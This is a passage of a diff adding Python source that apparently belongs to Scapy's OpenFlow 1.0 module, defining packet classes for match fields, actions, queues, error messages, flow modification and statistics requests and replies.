"DL_TYPE", + "NW_PROTO", + "TP_SRC", + "TP_DST"]), + ShortEnumField("in_port", None, ofp_port_no), + MACField("dl_src", None), + MACField("dl_dst", None), + ShortField("dl_vlan", None), + ByteField("dl_vlan_pcp", None), + XByteField("pad1", None), + ShortField("dl_type", None), + ByteField("nw_tos", None), + ByteField("nw_proto", None), + XShortField("pad2", None), + IPField("nw_src", "0"), + IPField("nw_dst", "0"), + ShortField("tp_src", None), + ShortField("tp_dst", None)] + + def extract_padding(self, s): + return b"", s + + # with post_build we create the wildcards field bit by bit + def post_build(self, p, pay): + # first 10 bits of an ofp_match are always set to 0 + lst_bits = "0" * 10 + + # when one field has not been declared, it is assumed to be wildcarded + if self.wildcards1 is None: + if self.nw_tos is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.dl_vlan_pcp is None: + lst_bits += "1" + else: + lst_bits += "0" + else: + w1 = binrepr(self.wildcards1) + lst_bits += "0" * (2 - len(w1)) + lst_bits += w1 + + # ip masks use 6 bits each + if self.nw_dst_mask is None: + if self.nw_dst == "0": + lst_bits += "111111" + # 0x100000 would be ok too (32-bit IP mask) + else: + lst_bits += "0" * 6 + else: + m1 = binrepr(self.nw_dst_mask) + lst_bits += "0" * (6 - len(m1)) + lst_bits += m1 + if self.nw_src_mask is None: + if self.nw_src == "0": + lst_bits += "111111" + else: + lst_bits += "0" * 6 + else: + m2 = binrepr(self.nw_src_mask) + lst_bits += "0" * (6 - len(m2)) + lst_bits += m2 + + # wildcards2 works the same way as wildcards1 + if self.wildcards2 is None: + if self.tp_dst is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.tp_src is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.nw_proto is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.dl_type is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.dl_dst is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.dl_src is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.dl_vlan is None: + lst_bits += "1" + else: + lst_bits += "0" + if self.in_port is None: + lst_bits += "1" + else: + lst_bits += "0" + else: + w2 = binrepr(self.wildcards2) + lst_bits += "0" * (8 - len(w2)) + lst_bits += w2 + + # In order to write OFPMatch compliant with the specifications, + # if prereq_autocomplete has been set to True + # we assume ethertype=IP or nwproto=TCP when appropriate subfields are provided. # noqa: E501 + if conf.contribs['OPENFLOW']['prereq_autocomplete']: + if self.dl_type is None: + if self.nw_src != "0" or self.nw_dst != "0" or \ + self.nw_proto is not None or self.nw_tos is not None: + p = p[:22] + struct.pack("!H", 0x0800) + p[24:] + lst_bits = lst_bits[:-5] + "0" + lst_bits[-4:] + if self.nw_proto is None: + if self.tp_src is not None or self.tp_dst is not None: + p = p[:22] + struct.pack("!H", 0x0800) + p[24:] + lst_bits = lst_bits[:-5] + "0" + lst_bits[-4:] + p = p[:25] + struct.pack("!B", 0x06) + p[26:] + lst_bits = lst_bits[:-6] + "0" + lst_bits[-5:] + + ins = b"".join(chb(int("".join(x), 2)) for x in zip(*[iter(lst_bits)] * 8)) # noqa: E501 + p = ins + p[4:] + return p + pay + + +class _ofp_header(Packet): + name = "Dummy OpenFlow Header for some lower layers" + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) + len(pay) + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + pay + + +class _ofp_header_item(Packet): + name = "Dummy OpenFlow Header for items layers" + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) + len(pay) + p = struct.pack("!H", tmp_len) + p[2:] + return p + pay + + +# Actions # + + +class _UnknownOpenFlow(Raw): + name = "Unknown OpenFlow packet" + + +class OpenFlow(_ofp_header): + name = "OpenFlow dissector" + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + version = orb(_pkt[0]) + if version == 0x04: # OpenFlow 1.3 + from scapy.contrib.openflow3 import OpenFlow3 + return OpenFlow3.dispatch_hook(_pkt, *args, **kargs) + elif version == 0x01: # OpenFlow 1.0 + # port 6653 has been allocated by IANA, port 6633 should no + # longer be used + # OpenFlow function may be called with a None + # self in OFPPacketField + of_type = orb(_pkt[1]) + if of_type == 1: + err_type = orb(_pkt[9]) + # err_type is a short int, but last byte is enough + if err_type == 255: + err_type = 65535 + return ofp_error_cls[err_type] + elif of_type == 16: + mp_type = orb(_pkt[9]) + if mp_type == 255: + mp_type = 65535 + return ofp_stats_request_cls[mp_type] + elif of_type == 17: + mp_type = orb(_pkt[9]) + if mp_type == 255: + mp_type = 65535 + return ofp_stats_reply_cls[mp_type] + else: + return ofpt_cls[of_type] + else: + warning("Unknown OpenFlow packet") + return _UnknownOpenFlow + + +ofp_action_types = {0: "OFPAT_OUTPUT", + 1: "OFPAT_SET_VLAN_VID", + 2: "OFPAT_SET_VLAN_PCP", + 3: "OFPAT_STRIP_VLAN", + 4: "OFPAT_SET_DL_SRC", + 5: "OFPAT_SET_DL_DST", + 6: "OFPAT_SET_NW_SRC", + 7: "OFPAT_SET_NW_DST", + 8: "OFPAT_SET_NW_TOS", + 9: "OFPAT_SET_TP_SRC", + 10: "OFPAT_SET_TP_DST", + 11: "OFPAT_ENQUEUE", + 65535: "OFPAT_VENDOR"} + + +class OFPATOutput(OpenFlow): + name = "OFPAT_OUTPUT" + fields_desc = [ShortEnumField("type", 0, ofp_action_types), + ShortField("len", 8), + ShortEnumField("port", 0, ofp_port_no), + ShortEnumField("max_len", "NO_BUFFER", ofp_max_len)] + + +class OFPATSetVLANVID(OpenFlow): + name = "OFPAT_SET_VLAN_VID" + fields_desc = [ShortEnumField("type", 1, ofp_action_types), + ShortField("len", 8), + ShortField("vlan_vid", 0), + XShortField("pad", 0)] + + +class OFPATSetVLANPCP(OpenFlow): + name = "OFPAT_SET_VLAN_PCP" + fields_desc = [ShortEnumField("type", 2, ofp_action_types), + ShortField("len", 8), + ByteField("vlan_pcp", 0), + X3BytesField("pad", 0)] + + +class OFPATStripVLAN(OpenFlow): + name = "OFPAT_STRIP_VLAN" + fields_desc = [ShortEnumField("type", 3, ofp_action_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPATSetDlSrc(OpenFlow): + name = "OFPAT_SET_DL_SRC" + fields_desc = [ShortEnumField("type", 4, ofp_action_types), + ShortField("len", 16), + MACField("dl_addr", "0"), + XBitField("pad", 0, 48)] + + +class OFPATSetDlDst(OpenFlow): + name = "OFPAT_SET_DL_DST" + fields_desc = [ShortEnumField("type", 5, ofp_action_types), + ShortField("len", 16), + MACField("dl_addr", "0"), + XBitField("pad", 0, 48)] + + +class OFPATSetNwSrc(OpenFlow): + name = "OFPAT_SET_NW_SRC" + fields_desc = [ShortEnumField("type", 6, ofp_action_types), + ShortField("len", 8), + IPField("nw_addr", "0")] + + +class OFPATSetNwDst(OpenFlow): + name = "OFPAT_SET_NW_DST" + fields_desc = [ShortEnumField("type", 7, ofp_action_types), + ShortField("len", 8), + IPField("nw_addr", "0")] + + +class OFPATSetNwToS(OpenFlow): + name = "OFPAT_SET_TP_TOS" + fields_desc = [ShortEnumField("type", 8, ofp_action_types), + ShortField("len", 8), + ByteField("nw_tos", 0), + X3BytesField("pad", 0)] + + +class OFPATSetTpSrc(OpenFlow): + name = "OFPAT_SET_TP_SRC" + fields_desc = [ShortEnumField("type", 9, ofp_action_types), + ShortField("len", 8), + ShortField("tp_port", 0), + XShortField("pad", 0)] + + +class OFPATSetTpDst(OpenFlow): + name = "OFPAT_SET_TP_DST" + fields_desc = [ShortEnumField("type", 10, ofp_action_types), + ShortField("len", 8), + ShortField("tp_port", 0), + XShortField("pad", 0)] + + +class OFPATEnqueue(OpenFlow): + name = "OFPAT_ENQUEUE" + fields_desc = [ShortEnumField("type", 11, ofp_action_types), + ShortField("len", 16), + ShortEnumField("port", 0, ofp_port_no), + XBitField("pad", 0, 48), + IntField("queue_id", 0)] + + +class OFPATVendor(OpenFlow): + name = "OFPAT_VENDOR" + fields_desc = [ShortEnumField("type", 65535, ofp_action_types), + ShortField("len", 8), + IntField("vendor", 0)] + + +ofp_action_cls = {0: OFPATOutput, + 1: OFPATSetVLANVID, + 2: OFPATSetVLANPCP, + 3: OFPATStripVLAN, + 4: OFPATSetDlSrc, + 5: OFPATSetDlDst, + 6: OFPATSetNwSrc, + 7: OFPATSetNwDst, + 8: OFPATSetNwToS, + 9: OFPATSetTpSrc, + 10: OFPATSetTpDst, + 11: OFPATEnqueue, + 65535: OFPATVendor} + + +class OFPAT(Packet): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_action_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +# Queues # + + +ofp_queue_property_types = {0: "OFPQT_NONE", + 1: "OFPQT_MIN_RATE"} + + +class OFPQTNone(_ofp_header): + name = "OFPQT_NONE" + fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), + ShortField("len", 8), + XIntField("pad", 0)] + + +class OFPQTMinRate(_ofp_header): + name = "OFPQT_MIN_RATE" + fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), + ShortField("len", 16), + XIntField("pad", 0), + ShortField("rate", 0), + XBitField("pad2", 0, 48)] + + +ofp_queue_property_cls = {0: OFPQTNone, + 1: OFPQTMinRate} + + +class OFPQT(Packet): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + return ofp_queue_property_cls.get(t, Raw) + return Raw + + def extract_padding(self, s): + return b"", s + + +class OFPPacketQueue(Packet): + name = "OFP_PACKET_QUEUE" + fields_desc = [IntField("queue_id", 0), + ShortField("len", None), + XShortField("pad", 0), + PacketListField("properties", [], OFPQT, + length_from=lambda pkt:pkt.len - 8)] # noqa: E501 + + def extract_padding(self, s): + return b"", s + + def post_build(self, p, pay): + if self.properties == []: + p += raw(OFPQTNone()) + if self.len is None: + tmp_len = len(p) + len(pay) + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + pay + + +##################################################### +# OpenFlow 1.0 Messages # +##################################################### + + +ofp_version = {0x01: "OpenFlow 1.0", + 0x02: "OpenFlow 1.1", + 0x03: "OpenFlow 1.2", + 0x04: "OpenFlow 1.3", + 0x05: "OpenFlow 1.4"} + +ofp_type = {0: "OFPT_HELLO", + 1: "OFPT_ERROR", + 2: "OFPT_ECHO_REQUEST", + 3: "OFPT_ECHO_REPLY", + 4: "OFPT_VENDOR", + 5: "OFPT_FEATURES_REQUEST", + 6: "OFPT_FEATURES_REPLY", + 7: "OFPT_GET_CONFIG_REQUEST", + 8: "OFPT_GET_CONFIG_REPLY", + 9: "OFPT_SET_CONFIG", + 10: "OFPT_PACKET_IN", + 11: "OFPT_FLOW_REMOVED", + 12: "OFPT_PORT_STATUS", + 13: "OFPT_PACKET_OUT", + 14: "OFPT_FLOW_MOD", + 15: "OFPT_PORT_MOD", + 16: "OFPT_STATS_REQUEST", + 17: "OFPT_STATS_REPLY", + 18: "OFPT_BARRIER_REQUEST", + 19: "OFPT_BARRIER_REPLY", + 20: "OFPT_QUEUE_GET_CONFIG_REQUEST", + 21: "OFPT_QUEUE_GET_CONFIG_REPLY"} + + +class OFPTHello(_ofp_header): + name = "OFPT_HELLO" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 0, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +##################################################### +# OFPT_ERROR # +##################################################### + +# this class will be used to display some messages +# sent back by the switch after an error + + +class OFPacketField(PacketField): + def getfield(self, pkt, s): + try: + tmp_len = s[2:4] + tmp_len = struct.unpack("!H", tmp_len)[0] + ofload = s[:tmp_len] + remain = s[tmp_len:] + return remain, OpenFlow(ofload) + except Exception: + return "", Raw(s) + + +ofp_error_type = {0: "OFPET_HELLO_FAILED", + 1: "OFPET_BAD_REQUEST", + 2: "OFPET_BAD_ACTION", + 3: "OFPET_FLOW_MOD_FAILED", + 4: "OFPET_PORT_MOD_FAILED", + 5: "OFPET_QUEUE_OP_FAILED"} + + +class OFPETHelloFailed(_ofp_header): + name = "OFPET_HELLO_FAILED" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 0, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPHFC_INCOMPATIBLE", + 1: "OFPHFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +class OFPETBadRequest(_ofp_header): + name = "OFPET_BAD_REQUEST" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 1, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPBRC_BAD_VERSION", + 1: "OFPBRC_BAD_TYPE", + 2: "OFPBRC_BAD_STAT", + 3: "OFPBRC_BAD_VENDOR", + 4: "OFPBRC_BAD_SUBTYPE", + 5: "OFPBRC_EPERM", + 6: "OFPBRC_BAD_LEN", + 7: "OFPBRC_BUFFER_EMPTY", + 8: "OFPBRC_BUFFER_UNKNOWN"}), + OFPacketField("data", "", Raw)] + + +class OFPETBadAction(_ofp_header): + name = "OFPET_BAD_ACTION" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 2, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPBAC_BAD_TYPE", + 1: "OFPBAC_BAD_LEN", + 2: "OFPBAC_BAD_VENDOR", + 3: "OFPBAC_BAD_VENDOR_TYPE", + 4: "OFPBAC_BAD_OUT_PORT", + 5: "OFPBAC_BAD_ARGUMENT", + 6: "OFPBAC_EPERM", + 7: "OFPBAC_TOO_MANY", + 8: "OFPBAC_BAD_QUEUE"}), + OFPacketField("data", "", Raw)] + + +class OFPETFlowModFailed(_ofp_header): + name = "OFPET_FLOW_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 3, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPFMFC_ALL_TABLES_FULL", + 1: "OFPFMFC_OVERLAP", + 2: "OFPFMFC_EPERM", + 3: "OFPFMFC_BAD_EMERG_TIMEOUT", # noqa: E501 + 4: "OFPFMFC_BAD_COMMAND", + 5: "OFPFMFC_UNSUPPORTED"}), + OFPacketField("data", "", Raw)] + + +class OFPETPortModFailed(_ofp_header): + name = "OFPET_PORT_MOD_FAILED" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 4, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPPMFC_BAD_PORT", + 1: "OFPPMFC_BAD_HW_ADDR"}), + OFPacketField("data", "", Raw)] + + +class OFPETQueueOpFailed(_ofp_header): + name = "OFPET_QUEUE_OP_FAILED" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 1, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("errtype", 5, ofp_error_type), + ShortEnumField("errcode", 0, {0: "OFPQOFC_BAD_PORT", + 1: "OFPQOFC_BAD_QUEUE", + 2: "OFPQOFC_EPERM"}), + OFPacketField("data", "", Raw)] + + +# ofp_error_cls allows generic method OpenFlow() to choose the right class for dissection # noqa: E501 +ofp_error_cls = {0: OFPETHelloFailed, + 1: OFPETBadRequest, + 2: OFPETBadAction, + 3: OFPETFlowModFailed, + 4: OFPETPortModFailed, + 5: OFPETQueueOpFailed} + +# end of OFPT_ERRORS # + + +class OFPTEchoRequest(_ofp_header): + name = "OFPT_ECHO_REQUEST" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 2, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTEchoReply(_ofp_header): + name = "OFPT_ECHO_REPLY" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 3, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTVendor(_ofp_header): + name = "OFPT_VENDOR" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 4, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntField("vendor", 0)] + + +class OFPTFeaturesRequest(_ofp_header): + name = "OFPT_FEATURES_REQUEST" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 5, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +ofp_action_types_flags = [v for v in six.itervalues(ofp_action_types) + if v != 'OFPAT_VENDOR'] + + +class OFPTFeaturesReply(_ofp_header): + name = "OFPT_FEATURES_REPLY" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 6, ofp_type), + ShortField("len", None), + IntField("xid", 0), + LongField("datapath_id", 0), + IntField("n_buffers", 0), + ByteField("n_tables", 1), + X3BytesField("pad", 0), + FlagsField("capabilities", 0, 32, ["FLOW_STATS", + "TABLE_STATS", + "PORT_STATS", + "STP", + "RESERVED", + "IP_REASM", + "QUEUE_STATS", + "ARP_MATCH_IP"]), + FlagsField("actions", 0, 32, ofp_action_types_flags), + PacketListField("ports", [], OFPPhyPort, + length_from=lambda pkt:pkt.len - 32)] + + +class OFPTGetConfigRequest(_ofp_header): + name = "OFPT_GET_CONFIG_REQUEST" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 7, ofp_type), + ShortField("len", None), + IntField("xid", 0)] + + +class OFPTGetConfigReply(_ofp_header): + name = "OFPT_GET_CONFIG_REPLY" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 8, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("flags", 0, {0: "FRAG_NORMAL", + 1: "FRAG_DROP", + 2: "FRAG_REASM", + 3: "FRAG_MASK"}), + ShortField("miss_send_len", 0)] + + +class OFPTSetConfig(_ofp_header): + name = "OFPT_SET_CONFIG" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 9, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("flags", 0, {0: "FRAG_NORMAL", + 1: "FRAG_DROP", + 2: "FRAG_REASM", + 3: "FRAG_MASK"}), + ShortField("miss_send_len", 128)] + + +class OFPTPacketIn(_ofp_header): + name = "OFPT_PACKET_IN" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 10, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), + ShortField("total_len", 0), + ShortEnumField("in_port", 0, ofp_port_no), + ByteEnumField("reason", 0, {0: "OFPR_NO_MATCH", + 1: "OFPR_ACTION"}), + XByteField("pad", 0), + PacketField("data", None, Ether)] + + +class OFPTFlowRemoved(_ofp_header): + name = "OFPT_FLOW_REMOVED" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 11, ofp_type), + ShortField("len", None), + IntField("xid", 0), + PacketField("match", OFPMatch(), OFPMatch), + LongField("cookie", 0), + ShortField("priority", 0), + ByteEnumField("reason", 0, {0: "OFPRR_IDLE_TIMEOUT", + 1: "OFPRR_HARD_TIMEOUT", + 2: "OFPRR_DELETE"}), + XByteField("pad1", 0), + IntField("duration_sec", 0), + IntField("duration_nsec", 0), + ShortField("idle_timeout", 0), + XShortField("pad2", 0), + LongField("packet_count", 0), + LongField("byte_count", 0)] + + +class OFPTPortStatus(_ofp_header): + name = "OFPT_PORT_STATUS" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 12, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ByteEnumField("reason", 0, {0: "OFPPR_ADD", + 1: "OFPPR_DELETE", + 2: "OFPPR_MODIFY"}), + XBitField("pad", 0, 56), + PacketField("desc", OFPPhyPort(), OFPPhyPort)] + + +class OFPTPacketOut(_ofp_header): + name = "OFPT_PACKET_OUT" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 13, ofp_type), + ShortField("len", None), + IntField("xid", 0), + IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), + ShortEnumField("in_port", "NONE", ofp_port_no), + FieldLenField("actions_len", None, fmt="H", length_of="actions"), # noqa: E501 + PacketListField("actions", [], OFPAT, + ofp_action_cls, + length_from=lambda pkt:pkt.actions_len), # noqa: E501 + PacketField("data", None, Ether)] + + +class OFPTFlowMod(_ofp_header): + name = "OFPT_FLOW_MOD" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 14, ofp_type), + ShortField("len", None), + IntField("xid", 0), + PacketField("match", OFPMatch(), OFPMatch), + LongField("cookie", 0), + ShortEnumField("cmd", 0, {0: "OFPFC_ADD", + 1: "OFPFC_MODIFY", + 2: "OFPFC_MODIFY_STRICT", + 3: "OFPFC_DELETE", + 4: "OFPFC_DELETE_STRICT"}), + ShortField("idle_timeout", 0), + ShortField("hard_timeout", 0), + ShortField("priority", 0), + IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), + ShortEnumField("out_port", "NONE", ofp_port_no), + FlagsField("flags", 0, 16, ["SEND_FLOW_REM", + "CHECK_OVERLAP", + "EMERG"]), + PacketListField("actions", [], OFPAT, + ofp_action_cls, + length_from=lambda pkt:pkt.len - 72)] + + +class OFPTPortMod(_ofp_header): + name = "OFPT_PORT_MOD" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 15, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("port_no", 0, ofp_port_no), + MACField("hw_addr", "0"), + FlagsField("config", 0, 32, ofp_port_config), + FlagsField("mask", 0, 32, ofp_port_config), + FlagsField("advertise", 0, 32, ofp_port_features), + IntField("pad", 0)] + + +##################################################### +# OFPT_STATS # +##################################################### + + +ofp_stats_types = {0: "OFPST_DESC", + 1: "OFPST_FLOW", + 2: "OFPST_AGGREGATE", + 3: "OFPST_TABLE", + 4: "OFPST_PORT", + 5: "OFPST_QUEUE", + 65535: "OFPST_VENDOR"} + + +class OFPTStatsRequestDesc(_ofp_header): + name = "OFPST_STATS_REQUEST_DESC" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 0, ofp_stats_types), + FlagsField("flags", 0, 16, [])] + + +class OFPTStatsReplyDesc(_ofp_header): + name = "OFPST_STATS_REPLY_DESC" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 0, ofp_stats_types), + FlagsField("flags", 0, 16, []), + StrFixedLenField("mfr_desc", "", 256), + StrFixedLenField("hw_desc", "", 256), + StrFixedLenField("sw_desc", "", 256), + StrFixedLenField("serial_num", "", 32), + StrFixedLenField("dp_desc", "", 256)] + + +class OFPTStatsRequestFlow(_ofp_header): + name = "OFPST_STATS_REQUEST_FLOW" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 1, ofp_stats_types), + FlagsField("flags", 0, 16, []), + PacketField("match", OFPMatch(), OFPMatch), + ByteEnumField("table_id", "ALL", ofp_table), + ByteField("pad", 0), + ShortEnumField("out_port", "NONE", ofp_port_no)] + + +class OFPFlowStats(Packet): + name = "OFP_FLOW_STATS" + fields_desc = [ShortField("length", None), + ByteField("table_id", 0), + XByteField("pad1", 0), + PacketField("match", OFPMatch(), OFPMatch), + IntField("duration_sec", 0), + IntField("duration_nsec", 0), + ShortField("priority", 0), + ShortField("idle_timeout", 0), + ShortField("hard_timeout", 0), + XBitField("pad2", 0, 48), + LongField("cookie", 0), + LongField("packet_count", 0), + LongField("byte_count", 0), + PacketListField("actions", [], OFPAT, + ofp_action_cls, + length_from=lambda pkt:pkt.length - 88)] + + def post_build(self, p, pay): + if self.length is None: + tmp_len = len(p) + len(pay) + p = struct.pack("!H", tmp_len) + p[2:] + return p + pay + + def extract_padding(self, s): + return b"", s + + +class OFPTStatsReplyFlow(_ofp_header): + name = "OFPST_STATS_REPLY_FLOW" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 1, ofp_stats_types), + FlagsField("flags", 0, 16, []), + PacketListField("flow_stats", [], OFPFlowStats, + length_from=lambda pkt:pkt.len - 12)] # noqa: E501 + + +class OFPTStatsRequestAggregate(OFPTStatsRequestFlow): + name = "OFPST_STATS_REQUEST_AGGREGATE" + stats_type = 2 + + +class OFPTStatsReplyAggregate(_ofp_header): + name = "OFPST_STATS_REPLY_AGGREGATE" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 2, ofp_stats_types), + FlagsField("flags", 0, 16, []), + LongField("packet_count", 0), + LongField("byte_count", 0), + IntField("flow_count", 0), + XIntField("pad", 0)] + + +class OFPTStatsRequestTable(_ofp_header): + name = "OFPST_STATS_REQUEST_TABLE" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 3, ofp_stats_types), + FlagsField("flags", 0, 16, [])] + + +class OFPTableStats(Packet): + + def extract_padding(self, s): + return b"", s + + name = "OFP_TABLE_STATS" + fields_desc = [ByteField("table_id", 0), + X3BytesField("pad", 0), + StrFixedLenField("name", "", 32), + FlagsField("wildcards1", 0x003, 12, ["DL_VLAN_PCP", + "NW_TOS"]), + BitField("nw_dst_mask", 63, 6), # 32 would be enough + BitField("nw_src_mask", 63, 6), + FlagsField("wildcards2", 0xff, 8, ["IN_PORT", + "DL_VLAN", + "DL_SRC", + "DL_DST", + "DL_TYPE", + "NW_PROTO", + "TP_SRC", + "TP_DST"]), + IntField("max_entries", 0), + IntField("active_count", 0), + LongField("lookup_count", 0), + LongField("matched_count", 0)] + + +class OFPTStatsReplyTable(_ofp_header): + name = "OFPST_STATS_REPLY_TABLE" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 3, ofp_stats_types), + FlagsField("flags", 0, 16, []), + PacketListField("table_stats", [], OFPTableStats, + length_from=lambda pkt:pkt.len - 12)] + + +class OFPTStatsRequestPort(_ofp_header): + name = "OFPST_STATS_REQUEST_PORT" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 4, ofp_stats_types), + FlagsField("flags", 0, 16, []), + ShortEnumField("port_no", "NONE", ofp_port_no), + XBitField("pad", 0, 48)] + + +class OFPPortStats(Packet): + + def extract_padding(self, s): + return b"", s + + name = "OFP_PORT_STATS" + fields_desc = [ShortEnumField("port_no", 0, ofp_port_no), + XBitField("pad", 0, 48), + LongField("rx_packets", 0), + LongField("tx_packets", 0), + LongField("rx_bytes", 0), + LongField("tx_bytes", 0), + LongField("rx_dropped", 0), + LongField("tx_dropped", 0), + LongField("rx_errors", 0), + LongField("tx_errors", 0), + LongField("rx_frame_err", 0), + LongField("rx_over_err", 0), + LongField("rx_crc_err", 0), + LongField("collisions", 0)] + + +class OFPTStatsReplyPort(_ofp_header): + name = "OFPST_STATS_REPLY_TABLE" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 4, ofp_stats_types), + FlagsField("flags", 0, 16, []), + PacketListField("port_stats", [], OFPPortStats, + length_from=lambda pkt:pkt.len - 12)] + + +class OFPTStatsRequestQueue(_ofp_header): + name = "OFPST_STATS_REQUEST_QUEUE" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 5, ofp_stats_types), + FlagsField("flags", 0, 16, []), + ShortEnumField("port_no", "NONE", ofp_port_no), + XShortField("pad", 0), + IntEnumField("queue_id", "ALL", ofp_queue)] + + +class OFPTStatsReplyQueue(_ofp_header): + name = "OFPST_STATS_REPLY_QUEUE" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 5, ofp_stats_types), + FlagsField("flags", 0, 16, []), + ShortEnumField("port_no", "NONE", ofp_port_no), + XShortField("pad", 0), + IntEnumField("queue_id", "ALL", ofp_queue), + LongField("tx_bytes", 0), + LongField("tx_packets", 0), + LongField("tx_errors", 0)] + + +class OFPTStatsRequestVendor(_ofp_header): + name = "OFPST_STATS_REQUEST_VENDOR" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 16, ofp_type), + ShortField("len", None), + IntField("xid", 0), + ShortEnumField("stats_type", 6, ofp_stats_types), + FlagsField("flags", 0, 16, []), + IntField("vendor", 0)] + + +class OFPTStatsReplyVendor(_ofp_header): + name = "OFPST_STATS_REPLY_VENDOR" + fields_desc = [ByteEnumField("version", 0x01, ofp_version), + ByteEnumField("type", 17, ofp_type), + 